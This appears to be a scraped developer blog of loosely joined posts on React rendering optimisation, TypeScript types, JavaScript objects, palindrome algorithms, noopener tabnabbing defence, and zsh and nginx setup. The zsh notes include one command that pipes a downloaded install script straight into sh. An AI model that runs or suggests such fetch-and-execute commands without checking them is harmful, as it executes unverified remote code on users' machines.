const { color } = this.state;
const { showRedButton, showGreenButton } = this;
return (
<React.Fragment>
<Button color={color}/>
<button onClick={showRedButton}> red </button>
<button onClick={showGreenButton}> green </button>
</React.Fragment>)
}
}
ReactDOM.render(<App/>, document.getElementById('root'))
ShouldComponentUpdate Code Sample
let count = 0;
class Button extends React.PureComponent {
render = () => {
const { color } = this.props
count++;
return (
<React.Fragment>
<span> Render count: { count } </span>
<button style={{ color }}> text </button>
</React.Fragment>
)
}
}
class App extends React.Component {
state = {
color: 'red'
}
showRedButton = () => {
this.setState({
color: 'red'
})
}
showGreenButton = () => {
this.setState({
color: 'green'
})
}
render() {
const { color } = this.state;
const { showRedButton, showGreenButton } = this;
return (
<React.Fragment>
<Button color={color}/>
<button onClick={showRedButton}> red </button>
<button onClick={showGreenButton}> green </button>
</React.Fragment>)
}
}
ReactDOM.render(<App/>, document.getElementById('root'))
PureComponent
is basically Component
with build-in shouldComponentUpdate
hook. It seems that we should use PureCompnent
at any cases since it has native rendering optimization?
Not really. PureComponent
is using shallow equality for props and state comparison.
class TodoList extends React.PureComponent {
render() {
const { todos } = this.props;
return (<ul>
{
todos.map((it, index) => <li key={index}> {it} </li>)
}
</ul>)
}
}
class App extends React.Component {
inputRef = React.createRef()
state = {
todos: []
}
onAdd = () => {
let { todos } = this.state;
const text = this.inputRef.current.value;
todos.push(text);
this.setState({
todos
});
}
render() {
const { todos } = this.state;
const { onAdd, inputRef } = this
return (
<React.Fragment>
<input ref={inputRef} type='text' placeholder='enter todo'/>
<button onClick={onAdd}> add todo </button>
<TodoList todos={todos}/>
</React.Fragment>
)
}
}
ReactDOM.render(<App/>, document.getElementById('root'))
In the example, TodoList
will never re-render as todos
(which is the state from App
and is passed in as props to TodoList
) always has the same reference.
class TodoList extends React.PureComponent {
render() {
const { todos } = this.props;
return (<ul>
{
todos.map((it, index) => <li key={index}> {it} </li>)
}
</ul>)
}
}
class App extends React.Component {
inputRef = React.createRef()
state = {
todos: []
}
onAdd = () => {
let { todos } = this.state;
const text = this.inputRef.current.value;
this.setState({
todos: [...todos, text]
});
}
render() {
const { todos } = this.state;
const { onAdd, inputRef } = this
return (
<React.Fragment>
<input ref={inputRef} type='text' placeholder='enter todo'/>
<button onClick={onAdd}> add todo </button>
<TodoList todos={todos}/>
</React.Fragment>
)
}
}
ReactDOM.render(<App/>, document.getElementById('root'))
It now works as we now make a new todos
array each time we call the setState
let count = 0;
const Button = React.memo(function(props) {
const { color } = props
count++;
return (
<React.Fragment>
<span> Render count: { count } </span>
<button style={{ color }}> text </button>
</React.Fragment>
)
})
class App extends React.Component {
state = {
color: 'red'
}
showRedButton = () => {
this.setState({
color: 'red'
})
}
showGreenButton = () => {
this.setState({
color: 'green'
})
}
render() {
const { color } = this.state;
const { showRedButton, showGreenButton } = this;
return (
<React.Fragment>
<Button color={color}/>
<button onClick={showRedButton}> red </button>
<button onClick={showGreenButton}> green </button>
</React.Fragment>)
}
}
ReactDOM.render(<App/>, document.getElementById('root'))
Tedder - a scrum git branch manager
In my team we have been adopting scrum to manage work items. We set a sprint to be one week length and we have a git sprint branch which is used to release the work done in the sprint.
We do have a naming standard for the sprint branch but it's sometimes violated for some reasons, leading to inconsistent branches. Our naming standard is feature/[yyyy][mm][dd], therefore the branch should be feature/20180809 for the sprint ending in 9th Aug 2018. I do see these kinds of violations:
If more than one developer participates in the sprint, they usually need to hang around asking whether the branch has been created since only one branch needs creating, leading to unnecessary communication and development interruption.
// .tedderrc
{
"day": "Thu",
"template": "feat/[yyyy][mm][dd]"
}
Then when you run tedder
command in your repo, it will compute the branch name based on your specificed template and day. In our exmaple above, it will be feat/[yyyy][mm][dd] with yyyy,
mm and dd being substituted with the full year, month and date of next Thursday. It will then check the corresponding remote branch exists or not. If the corresponding remote branch exists, meaning others have created the branch before, it will simple fetch the remote branch and switch to the branch. Otherwiese, it will automatically create the branch for you and push it to remote repo.
You can also set a script in your package.json to use it locally.
//package.json
{
script: {
"scrum": "tedder"
}
}
Then you can simply do
npm run scrum
tedder -t 'hotfix-[yy][mm][dd]' -d Mon -n 1
This will setup the hotfix branch for next Monday for you.
A palindrome is a word, phrase, number or sequence of words that reads the same backwards as forwards.
E.g. aba
is a palindrome while abc
is not.
String
in javascript works almost the same as Array
. It wouldn't be trival to check for palindrome with the help of build-in Array
utility support.
Idea: one pointer from the beginning and another pointer from the end, move both pointers towards the center and compare the values along the way
function isPalindrome(str) {
const len = str.length;
for(let i = 0; i < len / 2; i++) {
if (str[i] !== str[len - i - 1]) {
return false;
}
}
return true;
}
console.log(isPalindrome('a')); // true
console.log(isPalindrome('ab')); // false
console.log(isPalindrome('aba')); // true
console.log(isPalindrome('abcba')); // true
console.log(isPalindrome('abcda')); // false
console.log(isPalindrome('abccba')); // true
Similar to the solution above but implemented in recursive way.
function isPalindromeRecursive(str) {
const len = str.length;
if (len === 0 || len === 1) {
return true;
}
return str[0] === str[len - 1] && isPalindromeRecursive(str.slice(1, len - 1))
}
console.log(isPalindromeRecursive('a')); // true
console.log(isPalindromeRecursive('ab')); // false
console.log(isPalindromeRecursive('aba')); // true
console.log(isPalindromeRecursive('abcba')); // true
console.log(isPalindromeRecursive('abcda')); // false
console.log(isPalindromeRecursive('abccba')); // true
A linked list consists of nodes where each node contains a data field and a reference(link) to the next node in the list
With singly linked list, only the head
node of the linked list is available and the only way to visit a specific node is by traversing from head
with next
pointer up to the node. The main point for checking palindrome is to find the node in the center. Basically this can be achieved by having two pointers go from head
, one moves two steps forward and the other one step forward until the faster one reaches the end. Also, we build a previous link as the slower pointer moves towards the center. E.g.
list: A -> B -> C -> null/end
Step 1. Both pointers at A
Step 2. Slower pointer moves to B
, build previous link (i.e. B.prev = A). Faster pointer moves to B
then to C
Step 3. Faster pointer is at then end (C.next == null).
Step 4. Center pointer is at B (i.e. where slow pointer is). NOTE: where center is depends on the parity of the number of nodes
Step 5. Move slower pointer forward and center pointer backend, check the equality of the value. If value is not the same, not a palindrome.
Step 6. Slow pointer successfully reaches the end => is a palindrome.
class LinkedListNode {
constructor(char, next) {
this.value = char;
this.next = next;
}
}
class LinkedList {
constructor(chars) {
const len = chars.length;
let currentNode = null;
for (let i = len - 1; i >= 0; i--) {
let node = new LinkedListNode(chars[i], currentNode);
currentNode = node;
}
this.head = currentNode;
}
isPalindrome() {
let center, slow, quick;
center = slow = quick = this.head;
if (slow.next == null) {
return true;
}
while(quick.next != null) {
slow = slow.next;
slow.prev = center;
center = slow
quick = quick.next
if (quick.next == null) {
// even number
center = slow.prev;
} else {
quick = quick.next;
}
}
do {
if(slow.value !== center.value) {
return false;
}
slow = slow.next;
center = center.prev;
} while(slow != null)
return true;
}
}
console.log(new LinkedList(['a']).isPalindrome()); // true
console.log(new LinkedList(['a', 'b']).isPalindrome()); // false
console.log(new LinkedList(['a', 'b', 'a']).isPalindrome()); // true
console.log(new LinkedList(['a', 'b', 'c', 'b', 'a']).isPalindrome()); // true
console.log(new LinkedList(['a', 'b', 'c', 'd', 'a']).isPalindrome()); // false
console.log(new LinkedList(['a','b','c', 'c', 'b', 'a']).isPalindrome()); // true
let obj = {
a: 'b'
};
// dot notation
console.log(obj.a); // 'b'
// bracket notation
console.log(obj['a']); // 'b'
// through prototype chain
console.log(obj.toString, obj.toString === Object.prototype.toString); // ƒ toString() { [native code] } true
let obj = {
a: 'b'
};
console.log('a' in obj); //true
console.log('toString' in obj); //true
console.log(obj.hasOwnProperty('a')); //true
console.log(obj.hasOwnProperty('toString')); //false
let obj = {
a: "b"
};
Object.defineProperties(obj, {
c: {
value: 'd'
},
e: {
value: 'f'
}
});
console.log(obj); // {a: "b", c: "d", e: "f"}
We can use getters and setters to generate computed property. E.g.
let people = {
firstName: 'michael',
lastName: 'zheng',
get fullName() {
return `${this.firstName} ${this.lastName}`
},
set fullName(val) {
[this.firstName, this.lastName] = val.split(' ');
}
}
console.log(people.firstName, people.lastName, people.fullName);
//"michael", "zheng", "michael zheng"
people.fullName = 'hello world';
console.log(people.firstName, people.lastName, people.fullName);
//"hello", "world", "hello world"
let student = {
name: "michael"
};
Object.defineProperties(student, {
age: {
enumerable: false,
value: 18
},
grade: {
value: 6,
enumerable: true
},
sex: {
value: "male",
enumerable: false
}
});
Object.prototype.x = "inherited";
In the sample above, we create an object student. student has following properties:
as well as a custom property from prototype chain:
for (let prop in student) {
console.log(prop); //'name', 'grade', 'x'
}
for (let prop in student) { // self properties only
if (student.hasOwnProperty(prop)) {
console.log(prop); // 'name', 'grade'
}
}
console.log(Object.keys(student)); // [‘name’, 'grade']
//check whether is plain object:
Object.keys(student).length === 0; //false
Object.keys({}).length === 0; //true
// will not iterate through prototype chain
console.log(Object.getOwnPropertyNames(student)); // [‘name’, ‘age’, 'grade', 'sex']
methods | through prototype chain | enumerable only |
---|---|---|
for...in | Y | Y |
Object.keys | N | Y |
Object.getOwnPropertyNames | N | N |
Today eslint reports an error when I introduce eslint-plugin-react
error Using target="_blank" without rel="noopener noreferrer" is a security risk: see https://mathiasbynens.github.io/rel-noopener react/jsx-no-target-blank
Opening a new tab/window, either by hyperlinks (i.e <a> tag with target attribute set to _blank
) or programmatically calling window.open, will grant the newly-opened tab/window access back to the originating tab/window via window.opener. Therefore, the newly opened tab/window can then change the window.opener.location
to redirect to the phishing page in the background, or execute some JavaScript on the opener-page on your behalf.
Add rel="noopenner"
to outgoing links. E.g.
<a href="https://abc.com" target="_blank" rel="noopener">
noopener
in window featureswindow.open('https://abc.com', 'security', 'noopener');
opener
propertyNote: this technique is subject to Same Origin Policy
let nw = window.open('https://abc.com', 'security');
nw.opener = null;
In Java, Thread.sleep causes the current thread to suspend execution for a specified period.
This is an efficient means of making processor time available to the other threads of an application or other applications that might be running on a computer system. However, JavaScript does NOT have such a native implementation. Thanks to async function, we can emulate the behavior:
async function sleep(interval) {
return new Promise(resolve => {
setTimeout(resolve, interval);
})
}
async function one2FiveInAsync() {
for(let i = 1; i <= 5; i++) {
console.log(i);
await sleep(1000)
}
}
one2FiveInAsync();
function one2FiveInPromise() {
function logAndSleep(i) {
console.log(i);
if (i === 5) {
return;
}
return sleep(1000).then(() => logAndSleep(i + 1));
}
logAndSleep(1);
}
one2FiveInPromise();
Typescript - Javascript that scales
TypeScript can do static type checking at compile time. Types are erased before emitting compiled Javascript, result in zero run-time overhead to program execution.
It's pretty useful for large-scale system and makes code refactoring easier and under control. E.g.
// You have no idea what parameter the greet funciton accpets without peaking into the function implementation
function greet(person) {
if (person.sex === 'male') {
return `Mr ${person.first} ${person.second}`
} else if (person.sex === 'female') {
return `Mis ${person.first} ${person.second}`
}
return `${person.first} ${person.second}`
}
compared to the Typescript version
interface Person {
sex?: string
first: string
second: string
}
function greet(person: Person): string {
// ...
}
In Typescript, types can be associated with variables through explicit type annotations, such as
let x: number;
or through implicit type inference, as in
let x = 1;
Typescript is a superset of Javascript. What works in Javascript should also work in Typescript. The addon from Typescript, as its name indicates, is type
. In Typescript, there are values
and types
. TypeScript erases all types
information before emitting JavaScript while values
are preserved as in Javascript.
types
:values
:let isChecked: boolean = false;
let num: number = 6;
let color: string = "blue";
let list: number[] = [1, 2, 3];
let list: Array<number> = [1, 2, 3]; // This doesnt work in JSX as `<` and `>` are used in element tag
// Declare a tuple type
let x: [string, number];
// Initialize it
x = ["hello", 10]; // OK
// Initialize it incorrectly
x = [10, "hello"]; // Error
enum Color {Red = 1, Green, Blue}
let c: Color = Color.Green;
Note that
Enum
produce both avalue
and atype
.
// compiled code
var Color;
(function (Color) {
Color[Color["Red"] = 1] = "Red";
Color[Color["Green"] = 2] = "Green";
Color[Color["Blue"] = 3] = "Blue";
})(Color || (Color = {}));
var c = Color.Green;
It's useful when migrate from Javascript to Typescript.
void
is a little like the opposite of any
: the absence of having any type at all. You may commonly see this as the return type of functions that do not return a value:
function warnUser(): void {
console.log("This is my warning message");
}
Note:
object
is not the same asObject
.
object
is a basic type that represents the non-primitive type, i.e. any thing that is not number, string, boolean, symbol, null, or undefined.Object
is a built-in interface as shown below. It is almost any type.interface Object {
/** The initial value of Object.prototype.constructor is the standard built-in Object constructor. */
constructor: Function;
/** Returns a string representation of an object. */
toString(): string;
/** Returns a date converted to a string using the current locale. */
toLocaleString(): string;
/** Returns the primitive value of the specified object. */
valueOf(): Object;
/**
* Determines whether an object has a property with the specified name.
* @param v A property name.
*/
hasOwnProperty(v: PropertyKey): boolean;
/**
* Determines whether an object exists in another object's prototype chain.
* @param v Another object whose prototype chain is to be checked.
*/
isPrototypeOf(v: Object): boolean;
/**
* Determines whether a specified property is enumerable.
* @param v A property name.
*/
propertyIsEnumerable(v: PropertyKey): boolean;
}
Check the demo for difference:
function logWithBasicObject(obj: object) {
console.log(obj.hasOwnProperty);
}
logWithBasicObject({a: 'b'}); // OK
logWithBasicObject('ab'); // Error: Argument of type '"ab"' is not assignable to parameter of type 'object'
function logWithInterfaceObject(obj: Object) {
console.log(obj.hasOwnProperty);
}
logWithInterfaceObject({a: 'b'}); // OK
logWithInterfaceObject('ab'); // OK
<meta charset="utf-8">
<meta name="keywords" content="music">
<meta name="description" content="netease">
<meta name="viewport" content="width=device-width">
<a href="http://www.google.com" title="google"> Google </a>
<span title="know more"> know more </span>
em/percentage相对的是当前字体的大小, 字体大小可继承
text-overflow: ellipsis
[overflow](https://developer.mozilla.org/en-US/docs/Web/CSS/overflow): hidden
white-space: nowrap
* localStoage
* sessionStoage
element.
<form method="post" action="http://localhost:8088/" enctype="application/x-www-form-urlencoded">
<input type="text" name="a">
<input type="text" name="b">
<input type="submit">
</form>
a=a&b=b
a=a
b=b
------WebKitFormBoundaryeaQMPBoS7t1agiqa
Content-Disposition: form-data; name="a"
a
------WebKitFormBoundaryeaQMPBoS7t1agiqa
Content-Disposition: form-data; name="b"
b
------WebKitFormBoundaryeaQMPBoS7t1agiqa--
{"a":"a","b":"b"}
wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh
安装好之后切换到zsh.
chsh -s /usr/local/bin/zsh
人都是视觉动物。首要任务自然是给zsh挑一个风*的主题。
我用的主题是honukai-iterm-zsh.
通过修改.zshrc里面的plugins可以修改或添加插件. 默认加载git.
plugins=(git)
一些牛逼轰轰的插件:
# 内置git插件-常用快捷键
alias g='git'
alias ga='git add'
alias gaa='git add --all'
alias gb='git branch'
alias gbd='git branch -d'
alias gbl='git blame -b -w'
alias gcam='git commit -a -m'
alias gcsm='git commit -s -m'
alias gcb='git checkout -b'
alias gpristine='git reset --hard && git clean -dfx'
alias gcm='git checkout master'
alias gcd='git checkout dev'
alias gcmsg='git commit -m'
alias gco='git checkout'
alias gcp='git cherry-pick'
alias gd='git diff'
alias gdca='git diff --cached'
alias gdct='git describe --tags `git rev-list --tags --max-count=1`'
alias ggsup='git branch --set-upstream-to=origin/$(git_current_branch)'
alias gpsup='git push --set-upstream origin $(git_current_branch)'
alias gl='git pull'
alias glg='git log --stat'
alias glgp='git log --stat -p'
alias glgg='git log --graph'
alias glgga='git log --graph --decorate --all'
alias glgm='git log --graph --max-count=10'
alias glo='git log --oneline --decorate'
alias glol="git log --graph --pretty='%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"
alias glola="git log --graph --pretty='%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --all"
alias glog='git log --oneline --decorate --graph'
alias gloga='git log --oneline --decorate --graph --all'
alias gm='git merge'
alias gp='git push'
alias gr='git remote'
alias gra='git remote add'
alias grb='git rebase'
alias grba='git rebase --abort'
alias grbc='git rebase --continue'
alias grbi='git rebase -i'
alias grbm='git rebase master'
alias grbs='git rebase --skip'
alias grh='git reset HEAD'
alias grhh='git reset HEAD --hard'
alias grmv='git remote rename'
alias grrm='git remote remove'
alias grset='git remote set-url'
alias grt='cd $(git rev-parse --show-toplevel || echo ".")'
alias gru='git reset --'
alias grup='git remote update'
alias grv='git remote -v'
alias gsps='git show --pretty=short --show-signature'
alias gst='git status'
alias gsta='git stash save'
alias gstaa='git stash apply'
alias gstd='git stash drop'
alias gstl='git stash list'
alias gstp='git stash pop'
alias gts='git tag -s'
alias gtv='git tag | sort -V'
types
, not values
.type
declarationtype numOrString = number | string; // union of primitive type
type size = 'large' | 'small' | 'medium'; // union of string literals
interface WithName {
name: string;
}
function printName(withNameObj: WithName) {
console.log(withNameObj.name);
}
To check whether variable y
can be assigned to variable/parameter x
, the compiler checks each property of x
to find a corresponding compatible property in y
.
The same rule for assignment is used when checking function call arguments.
Object literals get special
treatment and undergo excess property checking when assigning them to other variables, or passing them as arguments
let myObj = {name: 'mike', age: 18};
// myObj's inferred type is {name: string, age: number};
printName(myObj); // OK
// Error, excess property checking for object literal
printName({name: 'mike', age: 18});
// type assertion as fix
printName({name: 'mike', age: 18} as WithName);
// error, excess property checking for object literal
let myObj1: WithName = {name: 'mike', age: 18};
let myObj2: WithName = myObj; // OK
Optional property can be marked with ?
following the property name. E.g.
interface SquareConfig {
color?: string;
width?: number;
}
function createSquare(config: SquareConfig): {color: string; area: number} {
let newSquare = {color: "white", area: 100};
if (config.color) {
newSquare.color = config.color;
}
if (config.width) {
newSquare.area = config.width * config.width;
}
return newSquare;
}
let mySquare = createSquare({color: "black"});
Readonly properties can be mark with readonly
modifier. E.g.
interface Person {
readonly identityId: number;
readonly bloodType: 'A' | 'B';
}
let p1: Person = { identityId: 10000, bloodType: 'A' };
p1.identityId = 100005; // error!
class Point {
constructor(public x: number, public y: number) {
this.x = x;
this.y = y;
}
public length() {
return Math.sqrt(this.x * this.x + this.y * this.y);
}
static origin = new Point(0, 0);
}
value
and type
When you declare a class in TypeScript, you are actually creating multiple declarations at the same time.
type
of the instance of the class.The following example introduces both a named type called
Point
(the class type) and a named value calledPoint
(the constructor function) in the containing declaration space.
Point
is exactly equivalent tointerface Point {
x: number;
y: number;
length(): number;
}
Point
is a constructor function whose type corresponds to the declarationlet Point: {
new(x: number, y: number): Point;
origin: Point;
};
The context in which a class is referenced distinguishes between the class type and the constructor function.
For example, in the assignment statement
let p: Point = new Point(10, 20);
the identifier Point
in the type annotation refers to the class type, whereas the identifier Point
in the new expression refers to the constructor function object.
typeof
operatorThe typeof
operator takes an operand of any type and produces a value of the String primitive type. In positions where a type is expected, typeof
can also be used in a type query to produce the type of an expression, in which case it should be followed by a value
.
let x = 5;
let y = typeof x; // Use in an expression, equivalent to ` let y = 'number' `
let z: typeof x; // Use in a type query, equivalent to ` let z: number `
let obj = { a: 3, b: 's' };
let another1: typeof obj = { a: 4 }; // error, property 'b' is missing
Function types can be defined in three ways.
// function declaration
function addWithMethodSignature(x: number, y: number): number {
// method signature
return x + y;
}
// function expression
let anotherAddWithMethodSignature = function(x: number, y: number): number {
// method signature
return x + y;
};
A function type literal specifies the type parameters, regular parameters, and return type of a call signature.
let addWithFuncLiteral: (x: number, y: number) => number = function(x, y) {
return x + y;
};
An object type containing one or more call signatures is said to be a function type.
let addWithObjLiteral: { (x: number, y: number) : number } = function(x, y) {
return x + y;
};
< T1, T2, ... > ( p1, p2, ... ) => R
is exactly equivalent to the object type literal
{ < T1, T2, ... > ( p1, p2, ... ) : R }
interface A { // an object with a property called `log` which is function type
log(num: number): number; // a property
}
let obj: A = {
log(n) {
return n;
}
}
interface A1 { // a function type.
(num: number): number // call signature
}
let func: A1 = (n: number) => n
Optional property can be marked with ?
following the parameter name. E.g.
function parseInt(s: string, radix?: number): number {
// ...
}
let result1 = parseInt('3'); // ok
let result2 = parseInt('3', 2); // ok
let result3 = parseInt('3', 2 , 'too many'); // ok
let suits = ["hearts", "spades", "clubs", "diamonds"];
function pickCard(x: {suit: string; card: number; }[]): number;
function pickCard(x: number): {suit: string; card: number; };
function pickCard(x): any {
if (typeof x == "object") {
let pickedCard = Math.floor(Math.random() * x.length);
return pickedCard;
}
else if (typeof x == "number") {
let pickedSuit = Math.floor(x / 13);
return { suit: suits[pickedSuit], card: x % 13 };
}
}
let myDeck = [{
suit: "diamonds", card: 2
}, {
suit: "spades", card: 10
}, {
suit: "hearts", card: 4
}];
let pickedCard1 = myDeck[pickCard(myDeck)];
alert("card: " + pickedCard1.card + " of " + pickedCard1.suit);
let pickedCard2 = pickCard(15);
alert("card: " + pickedCard2.card + " of " + pickedCard2.suit);
# mac下安装nginx. 默认安装于/usr/local/etc/nginx
brew install nginx
常用命令:
sudo nginx -s stop #关闭nginx
sudo nginx | sudo nginx -c /absolute/path/to/nginx-config-file #启动nginx
sudo ngxin -s reload #重启nginx
nginx -t #测试nginx配置文件是否有效
如果遇到这个错误: nginx: [emerg] bind() to 0.0 .0 .0: 80 failed(48: Address already in use)
可以使用 lsof -i :80查看使用该端口的进程然后用kill 端口号杀掉该进程。
# !/bin/sh
###BEGIN INIT INFO# Provides: nginx
# Required - Start: $all
# Required - Stop: $all
# Default - Start: 2 3 4 5
# Default - Stop: 0 1 6
# Short - Description: starts the nginx web server
# Description: starts nginx using start-stop-daemon
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/bin/nginx
PID_DIR="${DAEMON}/logs"
NAME=nginx
DESC=nginx
# exit immediately if a simple command exits with a non - zero status.
set -e
# ensure PID_DIR
# -d: test whether directory exists
if [ ! -d $PID_DIR ];
then
mkdir $PID_DIR
fi
#$1:second argument.
case "$1" in
start)
echo -n "Starting $DESC:"
start-stop-daemon --start --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
echo "$NAME."
;;
stop)
echo - n "Stopping $DESC:"
start-stop-daemon --stop --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
echo "$NAME."
;;
restart|force-reload)
echo -n "Restarting $DESC:"
start-stop-daemon --stop --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
sleep 1
start-stop-daemon --start --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
echo "$NAME."
;;
reload)
echo -n "Reloading $DESC configuration:"
start-stop-daemon --stop --signal HUP --quiet --pidfile ${PID_DIR}/$NAME.pid --exec $DAEMON
echo "$NAME."
;;
*)
N=/etc/init.d/$NAME
echo "Usage: $N {start|stop|restart|reload|force-reload}"
exit 1
;;
esac
exit 0
# conf主文件: /usr/local/etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid; #进程id文件
events {
worker_connections 768;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# import mime types
include /etc/nginx/mime.types;
default_type application/octet-stream;
# SSL Settings
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
# Logging Settings
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
# Gzip Settings
gzip on;
gzip_disable "msie6";
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*; #引入sites-enabled下的所有文件
}
## /usr/local/etc/nginx/sites-enabled/default文件:
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name n0rush.github.io;
return 301 https://$server_name$request_uri;
}
server {
listen 443;
ssl on;
ssl_certificate /path/to/certificate;
ssl_certificate_key /path/to/crt-private-key;
root /root/for/your/app;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name n0rush.github.io;
# location ~ uri路径正则:区分大小写
location ~ ^/site/(r|res)/(.+)$ {
# 匹配 /site/r/hello, 不匹配 /site/R/hello
expires 10y;
alias /my-site-app/public/$1/$2;
}
# location ~* uri路径正则:不区分大小写
location ~* ^/(r|res)/(.+)$ {
# 匹配 /r/hello和/R/hello
expires 10y;
alias /my-main-app/public/$1/$2;
}
# location = uri路径: 精确匹配制定路径,不包括子路径.
location = /favicon.ico {
root /my-site-app/public/res/;
}
# location uri路径:对当前路径以及路径下的所有资源有效
location / {
# 匹配 /blog, /blog/blabla, /hello
expires -1;
proxy_pass http://localhost:8082;
}
}
location匹配优先级:
1. 精确匹配. i.e. =
2. 正则匹配. i.e. ~, ~*
3. 路径匹配.
#生成秘钥
openssl genrsa -out my-key.pem 2048
#生成一个证书请求
openssl req -new -key my-key.pem -out cert.csr
#生成证书/公钥:
openssl req -new -x509 -key my-key.pem -out my-pub-key.pem -days 1095
In the post I will list the steps taken to build a compound input component and some interesting CSS observations made through the process.
<input class='input protocol' placeholder='enter protocol' type='text'/>
<input class='input host' placeholder='enter host' type='text'/>
.input {
padding: 5px;
border: 1px solid #d1c9c9;
}
.input:focus {
border-color: #3c5ed9;
}
There are two problems with the above solution.
The line is [outline](https://developer.mozilla.org/en-US/docs/Web/CSS/outline). It can be removed by setting `outline: none`.
No margins are applied to the input elements. The space is the character from html code. There are a few solutions we can apply to solve the problem.
E.g.
<input class='input protocol' placeholder='enter protocol' type='text'/><input class='input host' placeholder='enter host' type='text'/>
Apply negative margin to one of the input elements to shift its position
Wrap the inputs with a parent container and set font size to 0 on parent.
We then result in the following solution:
<div class='compound-input'>
<input class='input protocol' placeholder='enter protocol' type='text'/>
<input class='input host' placeholder='enter host' type='text'/>
</div>
.compound-input {
font-size: 0;
}
.input {
outline: none;
padding: 5px;
border: 1px solid #d1c9c9;
}
.input:focus {
border-color: #3c5ed9;
}
Now that the two inputs are near each other. However, the right border of the left input and the left border of the right input adds up and it looks inharmonic. Setting a negative margin-right
to the first input to shift it towards the second input should fix the problem, as now the two borders stack.
<div class='compound-input'>
<input class='input protocol' placeholder='enter protocol' type='text'/>
<input class='input host' placeholder='enter host' type='text'/>
</div>
.compound-input {
font-size: 0;
}
.input {
outline: none;
padding: 5px;
border: 1px solid #d1c9c9;
}
.input:focus {
border-color: #3c5ed9;
}
.input:first-child {
margin-right: -1px;
}
By setting negative margin-left: -1px
to the first input element, the right-border of first input element is now always missing. Clicking the first input will no longer has a right border highlight effect. The first idea that comes up in mind is to set the z-index to the element that has focus state. To make it work, we also have to set the position: relative
to both inputs as z-index
only works for a positioned box (that is, one with any position other than static)
<div class='compound-input'>
<input class='input protocol' placeholder='enter protocol' type='text'/>
<input class='input host' placeholder='enter host' type='text'/>
</div>
.compound-input {
font-size: 0;
}
.input {
outline: none;
padding: 5px;
border: 1px solid #d1c9c9;
position: relative;
}
.input:focus {
border-color: #3c5ed9;
}
.protocol {
margin-right: -1px;
}
.input:first-child:focus {
z-index: 10;
}
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.